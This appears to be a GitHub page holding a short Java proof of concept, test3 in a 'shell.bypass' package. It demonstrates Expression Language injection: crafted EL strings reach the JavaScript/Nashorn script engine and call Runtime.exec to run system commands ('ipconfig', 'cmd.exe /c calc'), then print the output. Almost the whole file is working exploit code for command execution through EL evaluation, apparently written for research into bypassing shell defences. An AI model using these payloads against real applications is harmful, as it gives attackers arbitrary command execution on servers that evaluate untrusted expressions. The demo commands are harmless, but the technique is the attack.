Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
40 lines (35 loc) · 1.76 KB

File metadata and controls

40 lines (35 loc) · 1.76 KB
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package shell.bypass;
import javax.el.ELManager;
import javax.el.ExpressionFactory;
import javax.el.StandardELContext;
import javax.el.ValueExpression;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class test3 {
public static void main(String[] args) throws Exception {
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='ipconfig';java.lang.Runtime.getRuntime().exec(exp);\")";
String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('nashorn')" +
".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ELeval(payload);
}
public static void ELeval(String payload) throws Exception{
ELManager elManager = new ELManager();
StandardELContext elContext = elManager.getELContext();//获得this.context
ExpressionFactory expressionFactory = elManager.getExpressionFactory();//然后this.factory=expressionFactory
/*
private static String bracket(String expression) {
return "${" + expression + "}";
}
*/
ValueExpression valueExpression = expressionFactory.createValueExpression(elContext, "${" + payload + "}", Object.class);
InputStream inputStream = ((Process) valueExpression.getValue(elContext)).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line=bufferedReader.readLine())!=null){
System.out.println(line);
}
bufferedReader.close();
}
}
Morty Proxy This is a proxified and sanitized view of the page, visit original site.